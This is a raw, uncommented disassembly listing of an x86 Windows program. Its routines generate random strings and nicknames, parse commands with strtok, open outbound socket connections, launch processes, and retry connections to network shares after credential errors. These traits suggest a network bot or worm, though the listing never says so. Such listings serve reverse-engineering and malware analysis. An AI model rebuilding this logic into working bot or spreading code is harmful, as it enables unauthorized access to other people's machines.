loc_41B780: ; CODE XREF: ___:00401ADCj
push ebx
mov ebx, [esp+8]
push ebp
mov ebp, [esp+10h]
mov ecx, ebp
push esi
mov edx, ecx
push edi
xor eax, eax
mov edi, ebx
shr ecx, 2
rep stosd
mov ecx, edx
xor esi, esi
and ecx, 3
test ebp, ebp
rep stosb
jle short loc_41B7DB
loc_41B7A6: ; CODE XREF: ___:0041B7D9j
push 3
push 1
call sub_4021A3
; ---------------------------------------------------------------------------
add esp, 8
dec eax
jz short loc_41B7C7
dec eax
jz short loc_41B7C1
dec eax
jnz short loc_41B7D6
push 7Ah
push 61h
jmp short loc_41B7CB
; ---------------------------------------------------------------------------
loc_41B7C1: ; CODE XREF: ___:0041B7B6j
push 5Ah
push 41h
jmp short loc_41B7CB
; ---------------------------------------------------------------------------
loc_41B7C7: ; CODE XREF: ___:0041B7B3j
push 39h
push 30h
loc_41B7CB: ; CODE XREF: ___:0041B7BFj
; ___:0041B7C5j
call sub_4021A3
; ---------------------------------------------------------------------------
add esp, 8
mov [esi+ebx], al
loc_41B7D6: ; CODE XREF: ___:0041B7B9j
inc esi
cmp esi, ebp
jl short loc_41B7A6
loc_41B7DB: ; CODE XREF: ___:0041B7A4j
pop edi
pop esi
pop ebp
pop ebx
retn
; ---------------------------------------------------------------------------
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41B800 proc near ; CODE XREF: sub_40141Aj
rdtsc
retn
sub_41B800 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41B820 proc near ; CODE XREF: sub_4017F3j
var_4 = dword ptr -4
sub esp, 8
push ebx
mov ebx, dword_50F8D0
push ebp
push esi
push edi
xor ebp, ebp
loc_41B82F: ; CODE XREF: sub_41B820+43j
; sub_41B820+4Dj
call sub_40141A
push 3E8h
mov esi, eax
mov edi, edx
call ebx
call sub_40141A
sub eax, esi
push ebp
sbb edx, edi
push 186A0h
push edx
push eax
call sub_436970
push ebp
push 0Ah
push edx
push eax
call sub_436970
cmp edx, ebp
mov esi, eax
ja short loc_41B82F
jb short loc_41B86F
cmp esi, 0F4240h
ja short loc_41B82F
loc_41B86F: ; CODE XREF: sub_41B820+45j
push ebp
push 64h
push edx
push esi
call sub_4368F0
mov ecx, eax
cmp edx, ebp
mov eax, 64h
mov [esp+18h+var_4], ebp
ja short loc_41B8F9
jb short loc_41B88F
cmp ecx, 50h
jnb short loc_41B898
loc_41B88F: ; CODE XREF: sub_41B820+68j
mov eax, 4Bh
mov [esp+18h+var_4], ebp
loc_41B898: ; CODE XREF: sub_41B820+6Dj
cmp edx, ebp
ja short loc_41B8F9
jb short loc_41B8A3
cmp ecx, 47h
jnb short loc_41B8AC
loc_41B8A3: ; CODE XREF: sub_41B820+7Cj
mov eax, 42h
mov [esp+18h+var_4], ebp
loc_41B8AC: ; CODE XREF: sub_41B820+81j
cmp edx, ebp
ja short loc_41B8F9
jb short loc_41B8B7
cmp ecx, 37h
jnb short loc_41B8C0
loc_41B8B7: ; CODE XREF: sub_41B820+90j
mov eax, 32h
mov [esp+18h+var_4], ebp
loc_41B8C0: ; CODE XREF: sub_41B820+95j
cmp edx, ebp
ja short loc_41B8F9
jb short loc_41B8CB
cmp ecx, 26h
jnb short loc_41B8D4
loc_41B8CB: ; CODE XREF: sub_41B820+A4j
mov eax, 21h
mov [esp+18h+var_4], ebp
loc_41B8D4: ; CODE XREF: sub_41B820+A9j
cmp edx, ebp
ja short loc_41B8F9
jb short loc_41B8DF
cmp ecx, 1Eh
jnb short loc_41B8E8
loc_41B8DF: ; CODE XREF: sub_41B820+B8j
mov eax, 19h
mov [esp+18h+var_4], ebp
loc_41B8E8: ; CODE XREF: sub_41B820+BDj
cmp edx, ebp
ja short loc_41B8F9
jb short loc_41B8F3
cmp ecx, 0Ah
jnb short loc_41B8F9
loc_41B8F3: ; CODE XREF: sub_41B820+CCj
xor eax, eax
mov [esp+18h+var_4], ebp
loc_41B8F9: ; CODE XREF: sub_41B820+66j
; sub_41B820+7Aj ...
sub eax, ecx
pop edi
add eax, esi
pop esi
pop ebp
pop ebx
add esp, 8
retn
sub_41B820 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41B950 proc near ; CODE XREF: sub_402022j
var_40 = dword ptr -40h
var_3C = byte ptr -3Ch
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push 0FFFFFFFFh
push offset SEH_41B950
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 34h
mov al, byte_447769
push ebx
push esi
push edi
test al, al
mov [esp+4Ch+var_40], 0
jz loc_41BAAF
push ebp
lea ecx, [esp+50h+var_3C]
call sub_401424
push 400h
lea ecx, [esp+54h+var_3C]
mov [esp+54h+var_4], 1
xor bl, bl
call sub_401C5D
mov ebp, eax
call sub_401EEC
lea ecx, [esp+50h+var_3C]
call sub_4013D9
mov [esp+50h+arg_4], eax
lea eax, [esp+50h+arg_4]
push eax
push ebp
call near ptr 2820000h
nop
test eax, eax
jnz short loc_41B9E6
mov edi, offset byte_446F70
or ecx, 0FFFFFFFFh
repne scasb
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
mov edi, ebp
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
loc_41B9E6: ; CODE XREF: sub_41B950+74j
movsx ecx, byte ptr [ebp+0]
mov eax, 41h
loc_41B9EF: ; CODE XREF: sub_41B950+A9j
cmp ecx, eax
jnz short loc_41B9F5
mov bl, 1
loc_41B9F5: ; CODE XREF: sub_41B950+A1j
inc eax
cmp eax, 5Bh
jl short loc_41B9EF
mov eax, 61h
loc_41BA00: ; CODE XREF: sub_41B950+BAj
cmp ecx, eax
jnz short loc_41BA06
mov bl, 1
loc_41BA06: ; CODE XREF: sub_41B950+B2j
inc eax
cmp eax, 7Bh
jl short loc_41BA00
test bl, bl
jnz short loc_41BA32
mov edi, offset byte_446F70
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, ebp
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
loc_41BA32: ; CODE XREF: sub_41B950+BEj
mov esi, dword_50FABC
call esi ; rand
cdq
mov ecx, 0Ah
idiv ecx
lea ecx, [esp+50h+var_3C]
push edx
call sub_401140
call esi ; rand
cdq
mov ecx, 0Ah
idiv ecx
lea ecx, [esp+50h+var_3C]
push edx
call sub_401140
call esi ; rand
cdq
mov ecx, 0Ah
idiv ecx
lea ecx, [esp+50h+var_3C]
push edx
call sub_401140
mov esi, [esp+50h+arg_0]
lea edx, [esp+50h+var_3C]
push edx
mov ecx, esi
call sub_4014C9
mov [esp+50h+var_40], 1
lea ecx, [esp+50h+var_3C]
mov byte ptr [esp+50h+var_4], 0
call sub_401226
pop ebp
mov eax, esi
pop edi
pop esi
pop ebx
mov ecx, [esp+40h+var_C]
mov large fs:0, ecx
add esp, 40h
retn
; ---------------------------------------------------------------------------
loc_41BAAF: ; CODE XREF: sub_41B950+2Aj
lea ecx, [esp+4Ch+var_24]
call sub_401424
mov ebx, 2
mov [esp+4Ch+var_4], ebx
call near ptr 27F0769h
nop
push eax
nop
call near ptr 77C371BCh
mov edi, dword_50FABC
add esp, 4
call edi ; rand
cdq
mov ecx, 3
idiv ecx
lea ecx, [esp+4Ch+var_24]
mov esi, edx
mov edx, [esp+4Ch+arg_4]
push edx
add esi, 6
call sub_4015D7
test esi, esi
jle short loc_41BB4E
loc_41BAF8: ; CODE XREF: sub_41B950+1FCj
lea ecx, [esp+4Ch+var_3C]
call sub_401424
lea eax, [esp+4Ch+var_24]
lea ecx, [esp+4Ch+var_3C]
push eax
mov byte ptr [esp+50h+var_4], 3
call sub_401FBE
call edi ; rand
cdq
mov ecx, 1Ah
idiv ecx
lea ecx, [esp+4Ch+var_3C]
add edx, 61h
push edx
call sub_4017E4
push eax
lea edx, [esp+54h+var_24]
push offset dword_443E84
push edx
call sub_40102D
add esp, 10h
lea ecx, [esp+4Ch+var_3C]
mov byte ptr [esp+4Ch+var_4], bl
call sub_401226
dec esi
jnz short loc_41BAF8
loc_41BB4E: ; CODE XREF: sub_41B950+1A6j
mov esi, [esp+4Ch+arg_0]
lea eax, [esp+4Ch+var_24]
push eax
mov ecx, esi
call sub_4014C9
lea ecx, [esp+4Ch+var_24]
mov [esp+4Ch+var_40], 1
mov byte ptr [esp+4Ch+var_4], 0
call sub_401226
mov ecx, [esp+4Ch+var_C]
mov eax, esi
pop edi
pop esi
pop ebx
mov large fs:0, ecx
add esp, 40h
retn
sub_41B950 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 90h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41BC20: ; CODE XREF: ___:00401569j
mov al, [esp+4]
cmp al, 20h
jz short loc_41BC2F
cmp al, 9
jz short loc_41BC2F
xor al, al
retn
; ---------------------------------------------------------------------------
loc_41BC2F: ; CODE XREF: ___:0041BC26j
; ___:0041BC2Aj
mov al, 1
retn
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41BC50: ; CODE XREF: ___:00401ED8j
mov eax, [esp+4]
push offset dword_443E8C
push eax
nop
call near ptr 77C3F010h
add esp, 8
test eax, eax
jz short loc_41BC74
push eax
call near ptr 77C40AB1h
nop
add esp, 4
mov al, 1
retn
; ---------------------------------------------------------------------------
loc_41BC74: ; CODE XREF: ___:0041BC65j
xor al, al
retn
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41BC90 proc near ; CODE XREF: sub_401479j
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_20 = byte ptr -20h
arg_0 = dword ptr 4
sub esp, 30h
push ebx
push ebp
push esi
push edi
mov edi, [esp+40h+arg_0]
test edi, edi
jz loc_41BEEE
mov esi, offset byte_446F70
mov eax, edi
loc_41BCAA: ; CODE XREF: sub_41BC90+3Cj
mov dl, [eax]
mov bl, [esi]
mov cl, dl
cmp dl, bl
jnz short loc_41BCD2
test cl, cl
jz short loc_41BCCE
mov dl, [eax+1]
mov bl, [esi+1]
mov cl, dl
cmp dl, bl
jnz short loc_41BCD2
add eax, 2
add esi, 2
test cl, cl
jnz short loc_41BCAA
loc_41BCCE: ; CODE XREF: sub_41BC90+26j
xor eax, eax
jmp short loc_41BCD7
; ---------------------------------------------------------------------------
loc_41BCD2: ; CODE XREF: sub_41BC90+22j
; sub_41BC90+32j
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_41BCD7: ; CODE XREF: sub_41BC90+40j
test eax, eax
jz loc_41BEEE
push 20h
lea eax, [esp+44h+var_20]
push edi
push eax
nop
call near ptr 77C47A90h
mov edi, dword_50FAF4
lea ecx, [esp+4Ch+var_20]
push offset dword_443DD4
push ecx
call edi ; strtok
add esp, 14h
mov [esp+40h+var_30], eax
test eax, eax
jz loc_41BEEE
mov ebx, 1
lea esi, [esp+40h+var_2C]
loc_41BD17: ; CODE XREF: sub_41BC90+A4j
push offset dword_443DD4
push 0
call edi ; strtok
add esp, 8
mov [esi], eax
test eax, eax
jz loc_41BEEE
inc ebx
add esi, 4
cmp ebx, 4
jl short loc_41BD17
mov ebp, [esp+40h+var_30]
mov esi, offset dword_443EA8
mov eax, ebp
loc_41BD41: ; CODE XREF: sub_41BC90+D3j
mov cl, [eax]
mov bl, [esi]
mov dl, cl
cmp cl, bl
jnz short loc_41BD69
test dl, dl
jz short loc_41BD65
mov cl, [eax+1]
mov bl, [esi+1]
mov dl, cl
cmp cl, bl
jnz short loc_41BD69
add eax, 2
add esi, 2
test dl, dl
jnz short loc_41BD41
loc_41BD65: ; CODE XREF: sub_41BC90+BDj
xor eax, eax
jmp short loc_41BD6E
; ---------------------------------------------------------------------------
loc_41BD69: ; CODE XREF: sub_41BC90+B9j
; sub_41BC90+C9j
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_41BD6E: ; CODE XREF: sub_41BC90+D7j
test eax, eax
jnz short loc_41BD7C
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 30h
retn
; ---------------------------------------------------------------------------
loc_41BD7C: ; CODE XREF: sub_41BC90+E0j
mov esi, offset dword_443EA4
mov eax, ebp
loc_41BD83: ; CODE XREF: sub_41BC90+115j
mov cl, [eax]
mov bl, [esi]
mov dl, cl
cmp cl, bl
jnz short loc_41BDAB
test dl, dl
jz short loc_41BDA7
mov cl, [eax+1]
mov bl, [esi+1]
mov dl, cl
cmp cl, bl
jnz short loc_41BDAB
add eax, 2
add esi, 2
test dl, dl
jnz short loc_41BD83
loc_41BDA7: ; CODE XREF: sub_41BC90+FFj
xor eax, eax
jmp short loc_41BDB0
; ---------------------------------------------------------------------------
loc_41BDAB: ; CODE XREF: sub_41BC90+FBj
; sub_41BC90+10Bj
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_41BDB0: ; CODE XREF: sub_41BC90+119j
mov edi, [esp+40h+var_2C]
test eax, eax
jnz short loc_41BDFA
mov esi, offset dword_443EA0
mov edx, edi
loc_41BDBF: ; CODE XREF: sub_41BC90+151j
mov al, [edx]
mov cl, [esi]
mov bl, al
cmp al, cl
jnz short loc_41BDE7
test bl, bl
jz short loc_41BDE3
mov cl, [edx+1]
mov al, [esi+1]
mov bl, cl
cmp cl, al
jnz short loc_41BDE7
add edx, 2
add esi, 2
test bl, bl
jnz short loc_41BDBF
loc_41BDE3: ; CODE XREF: sub_41BC90+13Bj
xor edx, edx
jmp short loc_41BDEC
; ---------------------------------------------------------------------------
loc_41BDE7: ; CODE XREF: sub_41BC90+137j
; sub_41BC90+147j
sbb edx, edx
sbb edx, 0FFFFFFFFh
loc_41BDEC: ; CODE XREF: sub_41BC90+155j
test edx, edx
jnz short loc_41BDFA
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 30h
retn
; ---------------------------------------------------------------------------
loc_41BDFA: ; CODE XREF: sub_41BC90+126j
; sub_41BC90+15Ej
mov esi, offset dword_443E9C
mov edx, ebp
loc_41BE01: ; CODE XREF: sub_41BC90+193j
mov al, [edx]
mov cl, [esi]
mov bl, al
cmp al, cl
jnz short loc_41BE29
test bl, bl
jz short loc_41BE25
mov cl, [edx+1]
mov al, [esi+1]
mov bl, cl
cmp cl, al
jnz short loc_41BE29
add edx, 2
add esi, 2
test bl, bl
jnz short loc_41BE01
loc_41BE25: ; CODE XREF: sub_41BC90+17Dj
xor edx, edx
jmp short loc_41BE2E
; ---------------------------------------------------------------------------
loc_41BE29: ; CODE XREF: sub_41BC90+179j
; sub_41BC90+189j
sbb edx, edx
sbb edx, 0FFFFFFFFh
loc_41BE2E: ; CODE XREF: sub_41BC90+197j
test edx, edx
jnz short loc_41BE74
mov esi, offset dword_443E98
mov edx, edi
loc_41BE39: ; CODE XREF: sub_41BC90+1CBj
mov al, [edx]
mov cl, [esi]
mov bl, al
cmp al, cl
jnz short loc_41BE61
test bl, bl
jz short loc_41BE5D
mov cl, [edx+1]
mov al, [esi+1]
mov bl, cl
cmp cl, al
jnz short loc_41BE61
add edx, 2
add esi, 2
test bl, bl
jnz short loc_41BE39
loc_41BE5D: ; CODE XREF: sub_41BC90+1B5j
xor edx, edx
jmp short loc_41BE66
; ---------------------------------------------------------------------------
loc_41BE61: ; CODE XREF: sub_41BC90+1B1j
; sub_41BC90+1C1j
sbb edx, edx
sbb edx, 0FFFFFFFFh
loc_41BE66: ; CODE XREF: sub_41BC90+1CFj
test edx, edx
jnz short loc_41BE74
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 30h
retn
; ---------------------------------------------------------------------------
loc_41BE74: ; CODE XREF: sub_41BC90+1A0j
; sub_41BC90+1D8j
mov esi, offset dword_443E94
mov ecx, ebp
loc_41BE7B: ; CODE XREF: sub_41BC90+20Dj
mov al, [ecx]
mov bl, [esi]
mov dl, al
cmp al, bl
jnz short loc_41BEA3
test dl, dl
jz short loc_41BE9F
mov al, [ecx+1]
mov bl, [esi+1]
mov dl, al
cmp al, bl
jnz short loc_41BEA3
add ecx, 2
add esi, 2
test dl, dl
jnz short loc_41BE7B
loc_41BE9F: ; CODE XREF: sub_41BC90+1F7j
xor ecx, ecx
jmp short loc_41BEA8
; ---------------------------------------------------------------------------
loc_41BEA3: ; CODE XREF: sub_41BC90+1F3j
; sub_41BC90+203j
sbb ecx, ecx
sbb ecx, 0FFFFFFFFh
loc_41BEA8: ; CODE XREF: sub_41BC90+211j
test ecx, ecx
jnz short loc_41BEEE
mov esi, offset dword_443E90
mov eax, edi
loc_41BEB3: ; CODE XREF: sub_41BC90+245j
mov dl, [eax]
mov bl, [esi]
mov cl, dl
cmp dl, bl
jnz short loc_41BEDB
test cl, cl
jz short loc_41BED7
mov dl, [eax+1]
mov bl, [esi+1]
mov cl, dl
cmp dl, bl
jnz short loc_41BEDB
add eax, 2
add esi, 2
test cl, cl
jnz short loc_41BEB3
loc_41BED7: ; CODE XREF: sub_41BC90+22Fj
xor eax, eax
jmp short loc_41BEE0
; ---------------------------------------------------------------------------
loc_41BEDB: ; CODE XREF: sub_41BC90+22Bj
; sub_41BC90+23Bj
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_41BEE0: ; CODE XREF: sub_41BC90+249j
test eax, eax
jnz short loc_41BEEE
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 30h
retn
; ---------------------------------------------------------------------------
loc_41BEEE: ; CODE XREF: sub_41BC90+Dj
; sub_41BC90+49j ...
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 30h
retn
sub_41BC90 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 0A0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41BFA0 proc near ; CODE XREF: sub_402004j
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 4
arg_4 = dword ptr 8
sub esp, 10h
push ebx
push esi
push 6
push 1
push 2
xor bl, bl
nop
call near ptr 71AB3B91h
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_41C008
cmp esi, 0FFFFFFFFh
jz short loc_41C008
mov eax, [esp+18h+arg_0]
push eax
nop
call near ptr 71AB2BF4h
mov ecx, [esp+18h+arg_4]
mov [esp+18h+var_C], eax
push ecx
call near ptr 71AB2B66h
nop
lea edx, [esp+18h+var_10]
push 10h
push edx
push esi
mov [esp+24h+var_E], ax
mov [esp+24h+var_10], 2
nop
call near ptr 71AB406Ah
test eax, eax
jnz short loc_41BFF9
mov bl, 1
loc_41BFF9: ; CODE XREF: sub_41BFA0+55j
push esi
nop
call near ptr 71AB9639h
mov al, bl
pop esi
pop ebx
add esp, 10h
retn
; ---------------------------------------------------------------------------
loc_41C008: ; CODE XREF: sub_41BFA0+18j
; sub_41BFA0+1Dj
pop esi
xor al, al
pop ebx
add esp, 10h
retn
sub_41BFA0 endp
; ---------------------------------------------------------------------------
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41C030 proc near ; CODE XREF: sub_401299j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
push 0
push 0
push eax
push ecx
push offset aOpen ; "open"
push 0
call near ptr 7CA41110h
nop
cmp eax, 20h
setnl al
retn
sub_41C030 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41C070 proc near ; CODE XREF: sub_402149j
var_54 = byte ptr -54h
var_44 = dword ptr -44h
var_14 = word ptr -14h
arg_0 = dword ptr 4
sub esp, 54h
push edi
mov ecx, 11h
xor eax, eax
lea edi, [esp+58h+var_44]
rep stosd
mov [esp+58h+var_14], ax
lea eax, [esp+58h+var_54]
mov edx, [esp+58h+arg_0]
lea ecx, [esp+58h+var_44]
push eax
push ecx
push 0
push 0
push 28h
push 0
push 0
push 0
push edx
push 0
mov [esp+80h+var_44], 44h
nop
call near ptr 2800000h
test eax, eax
setnle al
pop edi
add esp, 54h
retn
sub_41C070 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41C0E0: ; CODE XREF: ___:00401875j
sub esp, 354h
mov eax, off_443EB4
mov ecx, dword_443EB8
mov [esp+0], eax
mov al, byte_446F70
push esi
push edi
mov [esp+0Ch], ecx
mov [esp+14h], al
mov ecx, 45h
xor eax, eax
lea edi, [esp+15h]
mov edx, dword_443EBC
rep stosd
mov ecx, off_443EAC
mov [esp+10h], edx
mov dx, word_443EB0
mov [esp+12Ch], ecx
stosw
stosb
mov ecx, 8Ah
xor eax, eax
lea edi, [esp+132h]
mov [esp+130h], dx
rep stosd
mov ecx, [esp+360h]
push 0FFh
stosw
lea eax, [esp+18h]
xor edi, edi
push eax
push 0FFFFFFFFh
push ecx
push edi
push edi
nop
call near ptr 27B0000h
mov esi, dword_50FAAC
lea edx, [esp+14h]
lea eax, [esp+12Ch]
push edx
push eax
call esi ; wcscat
lea ecx, [esp+10h]
lea edx, [esp+134h]
push ecx
push edx
call esi ; wcscat
mov esi, [esp+374h]
add esp, 10h
lea eax, [esp+12Ch]
push edi
push offset dword_50BB8C
push offset dword_50BB8C
push esi
mov [esi+4], edi
mov [esi+10h], edi
mov [esi+14h], eax
mov [esi+1Ch], edi
call sub_436FA8
; ---------------------------------------------------------------------------
cmp eax, 5
jz short loc_41C1C8
cmp eax, 4C3h
jnz short loc_41C1D1
loc_41C1C8: ; CODE XREF: ___:0041C1BFj
push edi
push edi
push edi
push esi
call sub_436FA8
; ---------------------------------------------------------------------------
loc_41C1D1: ; CODE XREF: ___:0041C1C6j
pop edi
cmp eax, 5
pop esi
jz short loc_41C1E8
cmp eax, 4C3h
jz short loc_41C1E8
mov al, 1
add esp, 354h
retn
; ---------------------------------------------------------------------------
loc_41C1E8: ; CODE XREF: ___:0041C1D6j
; ___:0041C1DDj
xor al, al
add esp, 354h
retn
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 50h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41C250: ; CODE XREF: ___:00401EC9j
sub esp, 354h
mov eax, off_443EB4
mov ecx, dword_443EB8
mov [esp+0], eax
mov al, byte_446F70
push esi
push edi
mov [esp+0Ch], ecx
mov [esp+14h], al
mov ecx, 45h
xor eax, eax
lea edi, [esp+15h]
mov edx, dword_443EBC
rep stosd
mov ecx, off_443EAC
mov [esp+10h], edx
mov dx, word_443EB0
mov [esp+12Ch], ecx
stosw
stosb
mov ecx, 8Ah
xor eax, eax
lea edi, [esp+132h]
mov [esp+130h], dx
rep stosd
mov ecx, [esp+360h]
push 0FFh
stosw
lea eax, [esp+18h]
push eax
push 0FFFFFFFFh
push ecx
push 0
push 0
nop
call near ptr 27B0000h
mov esi, dword_50FAAC
lea edx, [esp+14h]
lea eax, [esp+12Ch]
push edx
push eax
call esi ; wcscat
lea ecx, [esp+10h]
lea edx, [esp+134h]
push ecx
push edx
call esi ; wcscat
add esp, 10h
lea eax, [esp+12Ch]
push 0
push 0
push eax
call sub_436FAE
; ---------------------------------------------------------------------------
test eax, eax
jz short loc_41C338
mov esi, dword_50F8D0
loc_41C31C: ; CODE XREF: ___:0041C336j
push 7D0h
call esi
push 0
lea ecx, [esp+130h]
push 0
push ecx
call sub_436FAE
; ---------------------------------------------------------------------------
test eax, eax
jnz short loc_41C31C
loc_41C338: ; CODE XREF: ___:0041C314j
pop edi
mov al, 1
pop esi
add esp, 354h
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_41C390 proc near ; CODE XREF: sub_401D7Fj
var_3C = byte ptr -3Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_41C390
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
push esi
push edi
push 0
push 0Ch
push 4
push 4Fh
push 10h
push 14h
lea eax, [esp+5Ch+var_3C]
push 6
mov esi, ecx
push eax
call sub_4019B5
add esp, 20h
push esi
mov ecx, eax
mov [esp+48h+var_4], 0
call sub_4017E4
lea ecx, [esi+0BCh]
push eax
push ecx
mov ecx, offset dword_447158
call sub_401591
sub_41C390 endp
; ---------------------------------------------------------------------------
or edi, 0FFFFFFFFh
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 5
push 18h
push 5
push 4Fh
push 10h
push 14h
lea edx, [esp+24h]
push 6
push edx
call sub_4019B5
add esp, 24h
push esi
mov ecx, eax
mov dword ptr [esp+44h], 1
call sub_4017E4
push eax
lea eax, [esi+118h]
push eax
mov ecx, offset dword_447158
call sub_401591
; ---------------------------------------------------------------------------
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 10h
push 15h
push 4Fh
push 10h
push 14h
lea ecx, [esp+20h]
push 6
push ecx
call sub_4019B5
add esp, 20h
push esi
mov ecx, eax
mov dword ptr [esp+44h], 2
call sub_4017E4
lea edx, [esi+0EAh]
push eax
push edx
mov ecx, offset dword_447158
call sub_401591
; ---------------------------------------------------------------------------
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 0Ch
push 4
push 4Fh
push 10h
push 14h
push 14h
lea eax, [esp+24h]
push 8
push eax
call sub_4019B5
add esp, 24h
push esi
mov ecx, eax
mov dword ptr [esp+44h], 3
call sub_4017E4
lea ecx, [esi+4]
push eax
push ecx
mov ecx, offset dword_447158
call sub_401591
; ---------------------------------------------------------------------------
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 5
push 18h
push 5
push 4Fh
push 10h
push 14h
push 14h
lea edx, [esp+28h]
push 8
push edx
call sub_4019B5
add esp, 28h
push esi
mov ecx, eax
mov dword ptr [esp+44h], 4
call sub_4017E4
push eax
lea eax, [esi+60h]
push eax
mov ecx, offset dword_447158
call sub_401591
; ---------------------------------------------------------------------------
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 5
push 14h
push 1
push 4
push 10h
push 15h
push 4Fh
push 10h
push 14h
push 14h
lea ecx, [esp+4Ch]
push 8
push ecx
call sub_4019B5
add esp, 34h
push esi
mov ecx, eax
mov dword ptr [esp+44h], 5
call sub_4017E4
add esi, 32h
push eax
push esi
mov ecx, offset dword_447158
call sub_401591
; ---------------------------------------------------------------------------
lea ecx, [esp+20h]
mov [esp+40h], edi
call sub_401226
mov ecx, [esp+38h]
pop edi
pop esi
mov large fs:0, ecx
add esp, 3Ch
retn
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 80h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41C610 proc near ; CODE XREF: sub_401064j
var_111 = byte ptr -111h
var_110 = dword ptr -110h
var_10C = byte ptr -10Ch
var_F4 = byte ptr -0F4h
var_DC = byte ptr -0DCh
var_C4 = byte ptr -0C4h
var_AC = byte ptr -0ACh
var_94 = byte ptr -94h
var_7C = byte ptr -7Ch
var_67 = byte ptr -67h
var_52 = byte ptr -52h
var_3D = byte ptr -3Dh
var_28 = dword ptr -28h
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
push 0FFFFFFFFh
push offset SEH_41C610
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 108h
push ebx
push ebp
mov ebp, ecx
push esi
push edi
lea ecx, [esp+124h+var_10C]
call sub_401424
lea ecx, [esp+124h+var_DC]
mov [esp+124h+var_4], 0
call sub_401424
lea ecx, [esp+124h+var_AC]
mov byte ptr [esp+124h+var_4], 1
call sub_401424
lea ecx, [esp+124h+var_94]
mov byte ptr [esp+124h+var_4], 2
call sub_401424
lea ecx, [esp+124h+var_C4]
mov byte ptr [esp+124h+var_4], 3
call sub_401424
lea ecx, [esp+124h+var_7C]
mov byte ptr [esp+124h+var_4], 4
call sub_401B36
mov esi, [esp+124h+arg_0]
mov bl, 5
lea ecx, [ebp+8Eh]
mov byte ptr [esp+124h+var_4], bl
lea edi, [esi+7Eh]
call sub_4017E4
push eax
mov ecx, edi
call sub_4012EE
lea ecx, [ebp+4]
call sub_4017E4
push eax
mov ecx, edi
call sub_4012EE
test eax, eax
jnz loc_41C83C
push offset asc_443600 ; " "
lea eax, [esp+128h+var_F4]
push 1
push eax
mov ecx, esi
call sub_4016AE
lea ecx, [esp+124h+var_7C]
mov byte ptr [esp+124h+var_4], 6
push ecx
mov ecx, eax
call sub_401681
push eax
call sub_401938
add esp, 8
lea ecx, [esp+124h+var_F4]
test al, al
setz [esp+124h+var_111]
mov byte ptr [esp+124h+var_4], bl
call sub_401226
mov al, [esp+124h+var_111]
test al, al
jnz loc_41D1A1
lea edx, [esp+124h+var_67]
lea ecx, [esp+124h+var_10C]
push edx
call sub_401FBE
push offset asc_443C94 ; ":"
lea ecx, [esp+128h+var_10C]
call sub_401A9B
mov eax, [esp+124h+var_28]
lea ecx, [esp+124h+var_10C]
push eax
call sub_401140
lea ecx, [esp+124h+var_24]
push ecx
lea ecx, [esp+128h+var_DC]
call sub_401FBE
push 1
push offset asc_443600 ; " "
lea edx, [esp+12Ch+var_F4]
push 2
push edx
mov ecx, esi
call sub_4011EA
push eax
lea ecx, [esp+128h+var_C4]
mov byte ptr [esp+128h+var_4], 7
call sub_401FBE
lea ecx, [esp+124h+var_F4]
mov byte ptr [esp+124h+var_4], bl
call sub_401226
push 94h
call sub_4367FA
; ---------------------------------------------------------------------------
add esp, 4
